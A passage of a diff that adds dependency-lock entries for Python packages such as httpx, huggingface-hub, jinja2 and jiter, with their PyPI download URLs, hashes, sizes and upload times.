+ { url = "https://files.pythonhosted.org/packages/63/b6/788060d5aa4d5e671f1a31bf69624c314eb2d8babab3aa562f9e5d53444e/hf_xet-1.5.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c6b6cd08ca095058780b50b8ce4d6cbf6787bcf27841705d58a9d32246e3e47a", size = 4292995, upload-time = "2026-06-08T23:02:31.993Z" },
+ { url = "https://files.pythonhosted.org/packages/22/93/c5540cbd6b55529b7dc42f6734e88cebee21aefbea34128b66229df56c57/hf_xet-1.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e1af0de8ca6f190d4294a28b88023db64a1e2d1d719cab044baf75bec569e7a9", size = 4491570, upload-time = "2026-06-08T23:02:33.86Z" },
+ { url = "https://files.pythonhosted.org/packages/03/f3/9d8ceab30f44f36c1679b1b8683054c71a0dadc787dbf07421891742d3ca/hf_xet-1.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:4f561cbbb92f80960772059864b7fb07eae879adde1b2e781ec6f86f6ac26c59", size = 4711565, upload-time = "2026-06-08T23:02:35.454Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/54/27ed9a5e2cc583b4df82f75a03a4df8dbf55f5a9fa1f47f1fadfb20dbeac/hf_xet-1.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:e7dbb40617410f432182d918e37c12303fe6700fd6aa6c5964e30a535a4461d6", size = 4017343, upload-time = "2026-06-08T23:02:37.14Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/12/ecb2fc8d45e767580e3a37faa97cb895608b614965567efb4f18cff67e27/hf_xet-1.5.1-cp314-cp314t-win_arm64.whl", hash = "sha256:6071d5ccb4d8d2cbd5fea5cc798da4f0ba3f44e25369591c4e89a4987050e61d", size = 3845716, upload-time = "2026-06-08T23:02:39.073Z" },
+ { url = "https://files.pythonhosted.org/packages/7a/d8/5e54cf37434759d1f4f2ba9b66077ff9d4c4e1f37b6bd7975da5c40d94ab/hf_xet-1.5.1-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:6abd35c3221eff63836618ddfb954dcf84798603f71d8e33e3ed7b04acfdbe6e", size = 4077794, upload-time = "2026-06-08T23:02:40.656Z" },
+ { url = "https://files.pythonhosted.org/packages/35/94/4b2ecfbad8f8b04701a23aefb62f540b9137d058b7e1dbef16a32676f0e9/hf_xet-1.5.1-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:94e761bbd266bf4c03cee73753916062665ce8365aa40ed321f45afcb934b41e", size = 3845354, upload-time = "2026-06-08T23:02:42.702Z" },
+ { url = "https://files.pythonhosted.org/packages/de/cc/f99f4bc7295023d7bd9ebbfd51f75cc530ca262c1227666268b8208f4b77/hf_xet-1.5.1-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:892e3a3a3aecc12aded8b93cf4f9cd059282c7de0732f7d55026f3abdf474350", size = 4514864, upload-time = "2026-06-08T23:02:44.497Z" },
+ { url = "https://files.pythonhosted.org/packages/cd/6e/21f7e5a2381278bd3b7b7a5a4d90038518bb6308a0c1daf5d9f8268bb178/hf_xet-1.5.1-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a93df2039190502835b1db8cd7e178b0b7b889fe9ab51299d5ced26e0dd879a4", size = 4303784, upload-time = "2026-06-08T23:02:46.203Z" },
+ { url = "https://files.pythonhosted.org/packages/35/0e/f992bb6927ac1cb30ef74e62268f551f338bc32b2191f7c96a44c6f7283e/hf_xet-1.5.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0c97106032ef70467b4f6bc2d0ccc266d7613ee076afc56516c502f87ce1c4a6", size = 4500703, upload-time = "2026-06-08T23:02:47.628Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/d1/90a498d05447980b977b1669246eeeeae4cfb0ea3e7a286eaba627f91bf9/hf_xet-1.5.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6208adb15d192b90e4c2ad2a27ed864359b2cb0f2494eb6d7c7f3699ac02e2bf", size = 4719498, upload-time = "2026-06-08T23:02:49.268Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/b6/20f99cfe97cc663a711f7b33cc21d4793e51968e9a26125b4afcd77315ba/hf_xet-1.5.1-cp37-abi3-win_amd64.whl", hash = "sha256:f7b3002f95d1c13e24bcb4537baa8f0eb3838957067c91bb4959bc004a6435f5", size = 4026419, upload-time = "2026-06-08T23:02:50.829Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/fa/77453694888f03e5a8c8852d1514a0894d8e81c622d39edbaf308ea0dcf4/hf_xet-1.5.1-cp37-abi3-win_arm64.whl", hash = "sha256:93d090b57b211133f6c0dab0205ef5cb6d89162979ba75a74845045cc3063b8e", size = 3855178, upload-time = "2026-06-08T23:02:52.452Z" },
+]
+
+[[package]]
+name = "httpcore"
+version = "1.0.9"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "h11" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
+]
+
+[[package]]
+name = "httpx"
+version = "0.28.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "certifi" },
+ { name = "httpcore" },
+ { name = "idna" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
+]
+
+[[package]]
+name = "httpx-sse"
+version = "0.4.3"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/0f/4c/751061ffa58615a32c31b2d82e8482be8dd4a89154f003147acee90f2be9/httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d", size = 15943, upload-time = "2025-10-10T21:48:22.271Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/d2/fd/6668e5aec43ab844de6fc74927e155a3b37bf40d7c3790e49fc0406b6578/httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc", size = 8960, upload-time = "2025-10-10T21:48:21.158Z" },
+]
+
+[[package]]
+name = "huggingface-hub"
+version = "1.21.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "click" },
+ { name = "filelock" },
+ { name = "fsspec" },
+ { name = "hf-xet", marker = "platform_machine == 'AMD64' or platform_machine == 'aarch64' or platform_machine == 'amd64' or platform_machine == 'arm64' or platform_machine == 'x86_64'" },
+ { name = "httpx" },
+ { name = "packaging" },
+ { name = "pyyaml" },
+ { name = "tqdm" },
+ { name = "typer" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8f/77/ce3331f40cb2d021fe9b24c46c41e72faf74493621138e5eddac12bf5e1c/huggingface_hub-1.21.0.tar.gz", hash = "sha256:a44f222cd8f2f7c2eade30b5e7a04cac984a3235fa61ea87a0a5a31db77d561f", size = 861572, upload-time = "2026-06-25T13:09:26.356Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4f/85/b505a99a133d9f99d21af182af416e9baef70bdeef019983479651e494c2/huggingface_hub-1.21.0-py3-none-any.whl", hash = "sha256:eadaa3678c512c82aea69e8675d90a184861e68de32f1105668628b4dce0e7cd", size = 721078, upload-time = "2026-06-25T13:09:24.402Z" },
+]
+
+[[package]]
+name = "identify"
+version = "2.6.19"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/52/63/51723b5f116cc04b061cb6f5a561790abf249d25931d515cd375e063e0f4/identify-2.6.19.tar.gz", hash = "sha256:6be5020c38fcb07da56c53733538a3081ea5aa70d36a156f83044bfbf9173842", size = 99567, upload-time = "2026-04-17T18:39:50.265Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/94/84/d9273cd09688070a6523c4aee4663a8538721b2b755c4962aafae0011e72/identify-2.6.19-py2.py3-none-any.whl", hash = "sha256:20e6a87f786f768c092a721ad107fc9df0eb89347be9396cadf3f4abbd1fb78a", size = 99397, upload-time = "2026-04-17T18:39:49.221Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.18"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
+]
+
+[[package]]
+name = "importlib-metadata"
+version = "8.9.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "zipp" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/e7/72/c600ae4f68c28fc19f9c31b9403053e5dbb8cace2e6842c7b7c3e4d42fe9/importlib_metadata-8.9.0.tar.gz", hash = "sha256:58850626cef4bd2df100378b0f2aea9724a7b92f10770d547725b047078f99ee", size = 56140, upload-time = "2026-03-20T16:56:26.362Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/7d/f9/97f2ca8bb3ec6e4b1d64f983ebe98b9a192faddff67fac3d6303a537e670/importlib_metadata-8.9.0-py3-none-any.whl", hash = "sha256:e0f761b6ea91ced3b0844c14c9d955224d538105921f8e6754c00f6ca79fba7f", size = 27220, upload-time = "2026-03-20T16:56:25.07Z" },
+]
+
+[[package]]
+name = "iniconfig"
+version = "2.3.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
+]
+
+[[package]]
+name = "jinja2"
+version = "3.1.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markupsafe" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" },
+]
+
+[[package]]
+name = "jiter"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/1f/10936e16d8860c70698a1aa939a46aa0224813b782bce4e000e637da0b2d/jiter-0.16.0.tar.gz", hash = "sha256:7b24c3492c5f4f84a37946ad9cf504910cf6a782d6a4e0689b6673c5894b4a1c", size = 176431, upload-time = "2026-06-29T13:05:13.657Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/83/2b/52ace16ed031354f0539749a49e4bf33797d82bea5137910835fa4b09793/jiter-0.16.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:67c3bc1760f8c99d805dcab4e644027142a53b1d5d861f18780ebdbd5d40b72a", size = 306943, upload-time = "2026-06-29T13:03:14.035Z" },
+ { url = "https://files.pythonhosted.org/packages/94/2e/34957c2c1b661c252ba9bcc60ae0bddc27e0f7202c6073326a13c5390eec/jiter-0.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5af7780e4a26bd7d0d989592bf9ef12ebf806b74ab709223ecca37c749872ea9", size = 307779, upload-time = "2026-06-29T13:03:15.418Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6c/59bd309cab4460c54cf1079f3eb7fe7af6a4c895c5c957a53378693bad2b/jiter-0.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5bf78d0e05e45cfdd66558893938d59afe3d1b1a824a202039b20e607d25a72", size = 335826, upload-time = "2026-06-29T13:03:17.11Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/8c/f5ef7b65f0df47afa16596969defb281ebb86e96df346d62be6fd853d620/jiter-0.16.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4444a83f946605990c98f625cdd3d2725bfb818158760c5748c653170a20e0e", size = 362573, upload-time = "2026-06-29T13:03:18.781Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/0b/ace4354da061ee38844a0c27dc2c21eecd27aea119e8da324bea987522d0/jiter-0.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a23f0e4f957e1be65752d2dfac9a5a06b1917af8dc85deb639c3b9d02e31290", size = 457979, upload-time = "2026-06-29T13:03:20.293Z" },
+ { url = "https://files.pythonhosted.org/packages/55/40/c0253d3772eb9dcd8e6606ee9b2d53ec8e5b814589c47f140aa585f21eaa/jiter-0.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c22a488f7b9218e245a0025a9ba6b100e2e54700831cf4cf16833a27fba3ad01", size = 372302, upload-time = "2026-06-29T13:03:21.739Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/d2/4839422241aa12860ce597b20068727094ba0bc480723c74924ca5bad483/jiter-0.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46add52f4ad47a08bfb1219f3e673da972191489a33016edefdb5ea55bfa8c48", size = 343805, upload-time = "2026-06-29T13:03:23.384Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/59/e196888a05befdda7dbe299b722d56f2f6eec65402bc34c0a3306d595feb/jiter-0.16.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:9c8a956fd72c2cf1e730d01ea080341f13aa0a97a4a33b51abebe725b7ae9ca9", size = 351107, upload-time = "2026-06-29T13:03:24.815Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/74/4cd9e0fca65232136400354b630fbfcd2de634e22ccbb96567725981b548/jiter-0.16.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:561926e0573ffe4a32498420a76d64b16c513e1ab413b9d28158a8764ac701e5", size = 388441, upload-time = "2026-06-29T13:03:26.266Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/8c/554691e48bc711299c0a293dd8a6179e24b2d66a54dc295421fcf64569c0/jiter-0.16.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:44d019fa8cdaf89bf29c71b39e3712143fdd0ac76725c6ef954f9957a5ea8730", size = 516354, upload-time = "2026-06-29T13:03:28.02Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/cb/01e9d69dc2cc6759d4f91e230b34489c4fdb2518992650633f9e20bece89/jiter-0.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0df91907609837f33341b8e6fe73b95991fdaa57caf1a0fbd343dffe826f386f", size = 547880, upload-time = "2026-06-29T13:03:29.534Z" },
+ { url = "https://files.pythonhosted.org/packages/79/70/2953195f1c6ad00f49fa67e13df7e60acb3dd4f387101bc15abccddd905e/jiter-0.16.0-cp312-cp312-win32.whl", hash = "sha256:51d7b836acb0108d7c77df1742332cac2a1fa04a74d6dacec46e7091f0e91274", size = 203473, upload-time = "2026-06-29T13:03:31.025Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/05/2909a8b10699a4d560f8c502b6b2c5f3991b682b1922c1eedda242b225bd/jiter-0.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:1878349266f8ee36ecb1375cc5ba2f115f35fd9f0a1a4119e725e379126647f7", size = 196905, upload-time = "2026-06-29T13:03:32.472Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/a9/6b82bb1c8d7790d602489b967b982a909e5d092875a6c2ade96444c8dfc5/jiter-0.16.0-cp312-cp312-win_arm64.whl", hash = "sha256:2ed5738ae4af18271a51a528b8811b0cbfa4a1858de9d83359e4169855d6a331", size = 190618, upload-time = "2026-06-29T13:03:34.672Z" },
+ { url = "https://files.pythonhosted.org/packages/91/c0/555fc60473d30d66894ba825e63615e3be7524fac23858356afa7a38906c/jiter-0.16.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:41977aa5654023948c2dae2a81cbf9c43343954bef1cd59a154dd15a4d84c195", size = 306203, upload-time = "2026-06-29T13:03:36.243Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/2b/c3eaf16f5d7c9bad66ea32f40a95bd169b29a91217fcc7f081375157e99c/jiter-0.16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d28bb3c26762358dadf3e5bf0bccd29ae987d65e6988d2e6f49829c76b003c09", size = 306489, upload-time = "2026-06-29T13:03:37.846Z" },
+ { url = "https://files.pythonhosted.org/packages/96/3f/02fdfc6705cad96127d883af5c34e4867f554f29ec7705ec1a46156400a9/jiter-0.16.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0542a7189c26920778658fc8fcf2af8bae05bae9924577f71804acef37996536", size = 335453, upload-time = "2026-06-29T13:03:39.221Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/a6/e4bda5920d4b0d7c5dfb7174ce4a6b2e4d3e11c9162c452ef0eab4cdbdbd/jiter-0.16.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8fb8de1e23a0cb2a7f53c335049c7b72b6db41aa6227cdcc0972a1de5cb39450", size = 361625, upload-time = "2026-06-29T13:03:40.597Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/97/4e6b59b2c6e55cbb3e183595f81ad65dcfb21c915fee5e19e335df21bc55/jiter-0.16.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b72d0b2990ca754a9102779ac98d8597b7cb31678958562214a007f909eab78e", size = 456958, upload-time = "2026-06-29T13:03:42.074Z" },
+ { url = "https://files.pythonhosted.org/packages/15/e0/97e9557686d2f94f4b93786eccb7eed28e9228ad132ea8237f44727314a7/jiter-0.16.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5f91b1c27fc22a57993d5a5cb8a627cb8ed4b10502716fac1ffbfe1d19d84e8", size = 372017, upload-time = "2026-06-29T13:03:43.658Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/94/db768b6938e0df35c86beeba3dfbbb025c9ee5c19e1aa271f2396e50864d/jiter-0.16.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c682bea068a90b764577bdb78a60a4c1d1606daf9cd4c893832a37c7cc9d9026", size = 343320, upload-time = "2026-06-29T13:03:45.226Z" },
+ { url = "https://files.pythonhosted.org/packages/c1/d6/5a59d938244a30735fe62d9433fd325f9021ea29d89780ea4596ea93bc89/jiter-0.16.0-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:8d031aabecc4f1b6276adfb42e3aabb77c89d468bf616600e8d3a11328929053", size = 350520, upload-time = "2026-06-29T13:03:46.671Z" },
+ { url = "https://files.pythonhosted.org/packages/67/f8/c4a857f49c9af125f6bbcac7e3eee7f7978ed89682833062e2dbf62576b1/jiter-0.16.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eab2cd170150e70153de16896a1774e3a1dca80154c56b54d7a812c479a7165e", size = 387550, upload-time = "2026-06-29T13:03:48.361Z" },
+ { url = "https://files.pythonhosted.org/packages/8b/d6/5fbc2f7d6b67b754caa61a993a2e626e815dec47ffc2f9e35f01adfebec7/jiter-0.16.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:6edb63a46e65a82c26800a868e49b2cac30dd5a4218b88d74bc2c848c8ad60bb", size = 515424, upload-time = "2026-06-29T13:03:49.881Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/54/284f0164b64a5fed915fea6ba7e9ba9b3d8d37c67d59cf2e3bb99d45cdfe/jiter-0.16.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:659039cc50b5addcc35fcc87ae2c1833b7c0a8e5326ef631a75e4478447bcf84", size = 546981, upload-time = "2026-06-29T13:03:51.363Z" },
+ { url = "https://files.pythonhosted.org/packages/13/c5/2a467585a576594384e1d2c43e1224deaafc085f24e243529cf98beef8e1/jiter-0.16.0-cp313-cp313-win32.whl", hash = "sha256:c9c53be232c2e206ef9cdbad81a48bfa74c3d3f08bcf8124630a8a748aad993e", size = 202853, upload-time = "2026-06-29T13:03:53.015Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6a/de61d04b9eec69c71719968d2f716532a3bc121170c44a39e14979c6be81/jiter-0.16.0-cp313-cp313-win_amd64.whl", hash = "sha256:baad945ed47f163ad833314f8e3288c396118934f94e7bbb9e243ce4b341a4fd", size = 196160, upload-time = "2026-06-29T13:03:54.447Z" },
+ { url = "https://files.pythonhosted.org/packages/19/4b/b390ed59bafb3f31d008d1218578f10327714484b334439947f7e5b11e7f/jiter-0.16.0-cp313-cp313-win_arm64.whl", hash = "sha256:3c1fd2dbe1b0af19e987f03fe66c5f5bd105a2229c1aff4ab14890b24f41d21a", size = 189862, upload-time = "2026-06-29T13:03:55.754Z" },
+ { url = "https://files.pythonhosted.org/packages/a7/89/bc4f1b57d5da938fd344a466396541e586d161320d70bffd929aaafcd8f4/jiter-0.16.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b2c61484666ad42726029af0c00ef4541f0f3b5cdc550221f56c2343208018ee", size = 308239, upload-time = "2026-06-29T13:03:57.205Z" },
+ { url = "https://files.pythonhosted.org/packages/65/7a/c415453e5213001bf3b411ff65dec3d303b0e76a4a2cfea9768cd4960994/jiter-0.16.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:63efadc657488f45db1c676d81e704cac2abf3fdb892def1faea61db053127e2", size = 308928, upload-time = "2026-06-29T13:03:58.643Z" },
+ { url = "https://files.pythonhosted.org/packages/11/fc/1f4fb7ebf9a724c7741994f4aae18fba1e2f3133df14521a79194952c34a/jiter-0.16.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cf0d73f50e7b6935677854f6e8e31d499ca7064dd24734f703e060f5b237d883", size = 336998, upload-time = "2026-06-29T13:04:00.071Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/8d/72cadaac05ccfa7cc3a0a2232862e6c72443ca40cf300ba8b57f9f18b69b/jiter-0.16.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3ea07d9bc8e7d03a9fbc051295462e6dbc295b894fd72457c3136e3e43d898", size = 362112, upload-time = "2026-06-29T13:04:01.52Z" },
+ { url = "https://files.pythonhosted.org/packages/58/4a/c4b0d5f651fda90a24ffce9f8d56cde462a2e09d31ae3de3c68cef34c04e/jiter-0.16.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:26798522707abb47d767db536e4148ceac1b14446bf028ee85e579a2e043cfe5", size = 459807, upload-time = "2026-06-29T13:04:03.214Z" },
+ { url = "https://files.pythonhosted.org/packages/80/58/ef77879ea9aa56b50824edc5a445e226422c7a8d211f3fd2a56bcb9493cf/jiter-0.16.0-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bc837c1b9631be10abfe0191537fe8009838204cec7e44827401ace390ddb567", size = 373181, upload-time = "2026-06-29T13:04:04.629Z" },
+ { url = "https://files.pythonhosted.org/packages/49/2e/ffbc3f254e4d8a66da3062c624a7df4b7c2b2cf9e1fe43cf394b3e104041/jiter-0.16.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:49060fd70737fad59d33ba9dcc0d83247dc9e77187de26053a19c16c9f32bd69", size = 344927, upload-time = "2026-06-29T13:04:06.067Z" },
+ { url = "https://files.pythonhosted.org/packages/9a/f6/0be5dc6d64a89f80aa8fec984f94dedb2973e251edcae55841d60786d578/jiter-0.16.0-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:adbb8edeadd431bc4477879d5d371ece7cb1334486584e0f252656dd7ffada29", size = 352754, upload-time = "2026-06-29T13:04:07.477Z" },
+ { url = "https://files.pythonhosted.org/packages/da/6e/7d31243b3b91cd261dd19e9d3557fc3251a80883d3d8049c86174e7ab7af/jiter-0.16.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:31aaee5b80f672c1dc21272bcfb9cbdcfc1ea04ff50f00ed5af500b80c44fa93", size = 390553, upload-time = "2026-06-29T13:04:08.92Z" },
+ { url = "https://files.pythonhosted.org/packages/25/33/51ae371fde3c88897520f62b4d5f8b27ad7103e2bb10812ff52195609853/jiter-0.16.0-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:6722bcef4ffc86c835574b1b2fac6b33b9fb4a889c781e67950e891591f3c55a", size = 516900, upload-time = "2026-06-29T13:04:10.407Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/45/6449b3d123ea439ba79507c657288f461d55049e7bcbdc2cf8eb8210f491/jiter-0.16.0-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:5ab4f50ff971b611d656554ea10b75f80097392c827bc32923c6eeb6386c8b00", size = 548754, upload-time = "2026-06-29T13:04:12.046Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/e7/fd2fb11ae3e2649333da3aa170d04d7b3000bbdc3b270f6513382fdf4e04/jiter-0.16.0-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:710cc51d4ebdcd3c1f70b232c1db1ea1344a075770422bbd4bede5708335acbe", size = 122381, upload-time = "2026-06-29T13:04:13.413Z" },
+ { url = "https://files.pythonhosted.org/packages/26/80/f0b147a62c315a164ed2168908286ca302310824c218d3aae52b06c0c9a9/jiter-0.16.0-cp314-cp314-win32.whl", hash = "sha256:57b37fc887a32d44798e4d8ebfa7c9683ff3da1d5bf38f08d1bb3573ccb39106", size = 204578, upload-time = "2026-06-29T13:04:14.813Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/e6/4758a14304b4523a6f5adb2419340086aa3593bd4327c2b25b5948a90548/jiter-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:cbd18dd5e2df96b580487b5745adf57ef64ad89ba2d9662fc3c19386acce7db8", size = 198154, upload-time = "2026-06-29T13:04:16.272Z" },
+ { url = "https://files.pythonhosted.org/packages/26/be/41fa54a2e7ea41d6c99f1dc5b1f0fd4cb474680304b5d268dd518e81da3a/jiter-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:a32d2027a9fa67f109ff245a3252ece3ccc32cc56703e1deab6cc846a59e0585", size = 191458, upload-time = "2026-06-29T13:04:17.707Z" },
+ { url = "https://files.pythonhosted.org/packages/81/6b/59127338b86d9fe4d99418f5a15118bea778103ee0fe9d9dd7e0af174e95/jiter-0.16.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2577196f4474ef3fc4779a088a23b0897bbf86f9ea3679c372d45b8383b43207", size = 316739, upload-time = "2026-06-29T13:04:19.663Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/95/49461034d5388196d3dabf98748935f017b7785d8f3f5349f834bcc4ed0d/jiter-0.16.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:616e89e008a93c01104161c75b4988e58716b01d62307ebfe161e52a56d2a818", size = 340911, upload-time = "2026-06-29T13:04:21.257Z" },
